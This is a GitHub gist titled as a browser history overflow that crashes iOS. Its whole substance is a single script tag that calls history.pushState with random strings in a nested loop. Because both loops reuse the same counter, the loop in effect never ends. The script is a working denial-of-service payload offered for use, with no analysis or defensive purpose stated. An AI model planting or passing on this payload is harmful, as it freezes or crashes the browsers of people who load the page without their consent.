Created
January 25, 2019 21:37
-
-
Save om3rcitak/3d87217c9cb71c54e5f94228c8925dbd to your computer and use it in GitHub Desktop.
js browser history overflow, ios crash
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
<script>var text = "";var possible = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789";for(var i=0; i<100000; i++) { for(var i=0; i<10; i++){ text += possible.charAt(Math.floor(Math.random() * possible.length)); } history.pushState(0,0, text); text = "";}</script> |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment